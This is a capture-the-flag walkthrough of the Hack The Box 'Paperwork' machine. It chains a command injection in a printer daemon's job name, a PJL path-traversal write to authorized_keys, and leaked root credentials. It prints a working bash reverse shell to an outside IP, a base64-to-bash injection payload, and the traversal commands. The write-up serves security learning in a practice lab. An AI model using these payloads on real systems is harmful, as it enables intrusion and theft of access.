Paperwork - Easy Linux
Hack The Box Paperwork: From Printer Command Injection to Root
Introduction
Paperwork is a Linux machine centered around a custom printer/archive application. The initial foothold comes from source code exposed through the web application, which reveals a custom Python printer daemon listening on TCP/1515.
From there, the attack chain is:
Web application
│
▼
Download server source code
│
▼
Custom LPD service on TCP/1515
│
▼
Command injection through printer job name
│
▼
Shell as lp
│
▼
Local PJL service on 127.0.0.1:9100
│
▼
Path traversal
│
▼
SSH authorized_keys overwrite
│
▼
SSH as archivist
│
▼
paperwork-daemon running as root
│
▼
Forensic context disclosure
│
▼
Admin password
│
▼
su → root
Enumeration
I started with a standard Nmap scan:
sudo nmap -sC -sV 10.129.60.235
The scan returned two open ports:
22/tcp open ssh
80/tcp open http
The HTTP service was running nginx and, more importantly, redirected me to:
http://paperwork.htb/
I added the hostname to /etc/hosts:
10.129.60.235 paperwork.htb
At this point, the attack surface consisted of SSH and the web application.
Web Enumeration
Browsing to http://paperwork.htb/ revealed an application that allowed an archive to be downloaded.
I downloaded the archive and extracted it.
Inside was a file named:
server.py
This immediately caught my attention. Rather than just treating the application as a black box, I opened the source in VS Code to understand what the server was actually doing.
The source revealed a custom Python server implementing an LPD-like printer/archive service.
It listened on TCP port 1515.
That was interesting enough to check whether the service was externally accessible.
Finding the Printer Service
I ran:
sudo nmap -sC -sV -A 10.129.60.235 -p 1515
The result showed:
1515/tcp open ifor-protocol?
| fingerprint-strings:
| TerminalServer, TerminalServerCookie:
|_ Archive_Printer is ready and printing.
Nmap didn't recognize the service, but the response clearly matched the custom Python server from the downloaded source.
So I now had:
paperwork.htb:1515
│
▼
Custom Python printer daemon
The next step was to understand how it processed print jobs.
Command Injection in the Printer Daemon
While reviewing the source code, I noticed that the printer job's J field was used as the job name.
The relevant logic eventually constructed a shell command using that value:
subprocess.Popen(
f"echo 'Archive: {job_name}' >> /tmp/archive.log",
shell=True
)
This is a classic OS command injection vulnerability.
The important combination is:
attacker-controlled job name
+
string interpolation
+
shell=True
The job name is inserted directly into a shell command. Because the value is enclosed in single quotes, the quote can be terminated and additional shell syntax can be introduced.
For example, conceptually:
JName'; <command>; echo '
results in the shell receiving something equivalent to:
echo 'Archive: Name'
<command>
echo ''
That gave me a straightforward route to remote command execution.
Getting a Shell
I wrote a small Python client to speak the custom protocol and submit a malicious control file.
The payload was base64 encoded before being passed to the shell. This made the payload less susceptible to quoting and parsing problems.
The important portion of the payload was:
rev_shell = "bash -i >& /dev/tcp/10.10.15.93/9001 0>&1"
b64_shell = base64.b64encode(
rev_shell.encode()
).decode()
cmd_injection = (
f"JName'; echo {b64_shell} | base64 -d | bash #"
)
The resulting J line was submitted to the printer service.
I started a listener on my attacking machine and sent the job.
The command injection worked and I received a shell on the target.
The shell was running as:
lp
So the first stage was complete.
Enumerating the lp Shell
I initially checked for the usual flags but didn't find anything useful, so I moved on to enumerating the system and its listening services.
Running:
ss -tlnp
returned:
LISTEN 0 128 127.0.0.1:1337 0.0.0.0:*
LISTEN 0 100 127.0.0.1:9100 0.0.0.0:*
The interesting service was TCP/9100.
Port 9100 is commonly associated with raw printer/PJL functionality, which made sense given what I had already discovered.
The important part was that it was bound only to:
127.0.0.1
so it wasn't directly accessible from my attacking machine.
I needed to interact with it from my existing lp shell.
Exploiting the PJL Service
Credit to blackxploit for the key idea here. I was stuck on this part for quite a while.
The PJL service supported filesystem operations, including FSDOWNLOAD, and it was possible to abuse path traversal in the supplied path.
That meant I could manipulate files outside of the intended printer directory.
My goal was to turn this into a more stable SSH-based foothold.
I already had an SSH keypair on my attacking machine, so the plan was:
attacking machine
│
│ public key
▼
PJL FSDOWNLOAD
│
▼
../.ssh/authorized_keys
│
▼
SSH as archivist
Getting the SSH Key and Exploit Script onto the Box
The compromised machine had wget, so I started a Python HTTP server from a temporary directory on my attacking machine:
python3 -m http.server 8000
From the lp shell I could then download the required files.
The PJL interaction was handled by a Python script that connected to:
127.0.0.1:9100
The important operations were:
pjl_cmd('@PJL FSMKDIR NAME="../.ssh"')
followed by:
pjl_download(
"../.ssh/authorized_keys",
pubkey
)
The script also used:
@PJL FSUPLOAD
to verify the resulting file.
Running the script produced:
[@PJL FSMKDIR NAME="../.ssh"] ->
OK
[FSDOWNLOAD ../.ssh/authorized_keys SIZE=92] ->
OK
[@PJL FSUPLOAD NAME="../.ssh/authorized_keys" OFFSET=0 SIZE=99999] ->
@PJL FSUPLOAD NAME="../.ssh/authorized_keys" SIZE=92
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIYGn/+JtDYSQUqAlsqvpA40j2lsWOQuMT3LVDKru4fV r3v@copium
The public key had successfully been written to archivist's SSH configuration.
SSH as Archivist
With my public key in authorized_keys, I could authenticate using the corresponding private key:
ssh -i ~/.ssh/htb_ed25519 [email protected]
This gave me a proper SSH session as:
archivist
From there I was able to retrieve the user flag.
At this point the attack path looked like:
Internet
│
▼
TCP/1515
│
▼
Command injection
│
▼
lp
│
▼
PJL path traversal
│
▼
archivist authorized_keys
│
▼
SSH
│
▼
archivist
Now it was time to investigate privilege escalation.
Privilege Escalation Enumeration
I started with some standard process enumeration.
ps aux | grep paperwork
The interesting process was:
root 1483 0.0 0.4 28432 17968 ? Ss 13:47 0:00 /usr/bin/python3 /usr/bin/paperwork-daemon
There was a Python daemon running as root.
I also enumerated Unix sockets:
find / -type s 2>/dev/null
Among the results was:
/run/paperwork/mgmt.sock
This was clearly associated with the root paperwork-daemon.
At this point I started looking into how the daemon worked and what functionality was exposed through the management socket.
The Paperwork Watchdog
The daemon is intended to monitor the printer service for suspicious activity.
When it detects something it considers a security violation, it triggers a lockdown/forensic procedure.
The interesting part was that the lockdown mechanism itself introduced a vulnerability.
Part of the daemon's functionality involved connecting file descriptors, with one of the file descriptors associated with a file opened by the root daemon at startup.
That meant the supposedly defensive forensic mechanism could be abused to access data through a root-owned file descriptor.
I wrote a small script to interact with the management functionality and trigger the relevant behaviour.
When triggered, the daemon responded with:
MSG: b'ALERT: SECURITY_VIOLATION. FORENSIC_CONTEXT_ATTACHED.'
The attached forensic context contained the printer activity:
Listening on port 9100
...
[127.0.0.1] connected
Command: @PJL FSMKDIR NAME="../.ssh"
[127.0.0.1] connected
Command: @PJL FSDOWNLOAD NAME="../.ssh/authorized_keys" SIZE=92
Receiving file: ../.ssh/authorized_keys (92 bytes)
[127.0.0.1] connected
Command: @PJL FSUPLOAD NAME="../.ssh/authorized_keys" OFFSET=0 SIZE=99999
More importantly, the forensic data exposed:
ADMIN_PASSWORD=[Redacted]
The root daemon had effectively handed me the administrator credential.
Root
With the administrator password recovered, I could simply switch users:
su -
After supplying the recovered password, I had a root shell.
root@paperwork:~#
And with that, the machine was fully compromised.
Attack Chain Summary
The complete chain was:
1. Nmap
│
├── 22/tcp SSH
└── 80/tcp HTTP
│
▼
2. Web application
│
└── Download exposed server.py
│
▼
3. Source code disclosure
│
└── Discover custom LPD service on 1515
│
▼
4. TCP/1515
│
└── Command injection through J job name
│
▼
5. Reverse shell
│
└── lp
│
▼
6. Local enumeration
│
└── 127.0.0.1:9100 PJL service
│
▼
7. PJL path traversal
│
└── Write attacker's SSH public key
to ../.ssh/authorized_keys
│
▼
8. SSH
│
└── archivist
│
▼
9. Enumerate root processes/sockets
│
└── paperwork-daemon + /run/paperwork/mgmt.sock
│
▼
10. Abuse forensic/lockdown mechanism
│
└── Recover ADMIN_PASSWORD
│
▼
11. su
│
▼
root
Final Thoughts
Paperwork was a fun box because the attack wasn't based around one isolated vulnerability. Each stage provided the information or access needed for the next stage.
The initial source disclosure was particularly valuable. Rather than having to blindly reverse engineer the custom printer service, the source code immediately showed how the service processed printer jobs and exposed the command injection.
The most important lessons for me were:
- Always inspect downloaded source code. Source disclosure can turn a difficult black-box service into a straightforward attack.
- Look closely at custom network services. Nmap couldn't identify TCP/1515, but the service banner and source code made its purpose obvious.
- Trace untrusted input all the way to dangerous sinks. The
Jfield ultimately reachedsubprocess.Popen(..., shell=True). - Enumerate localhost services after getting a foothold. The PJL service wasn't remotely accessible, but it became accessible from the compromised
lpaccount. - Printer protocols can expose filesystem functionality. The PJL path traversal turned a local service into an SSH persistence/privilege-escalation mechanism.
- Don't assume security/monitoring software is automatically safe. The
paperwork-daemon's forensic functionality ultimately exposed sensitive information running with root privileges. - Unix sockets deserve enumeration.
/run/paperwork/mgmt.sockwas a major clue during privilege escalation.
Overall, the box was a good example of how several individually interesting weaknesses can be chained together into a complete compromise:
source disclosure → command injection → foothold → localhost service → path traversal → SSH access → root daemon abuse → credentials → root.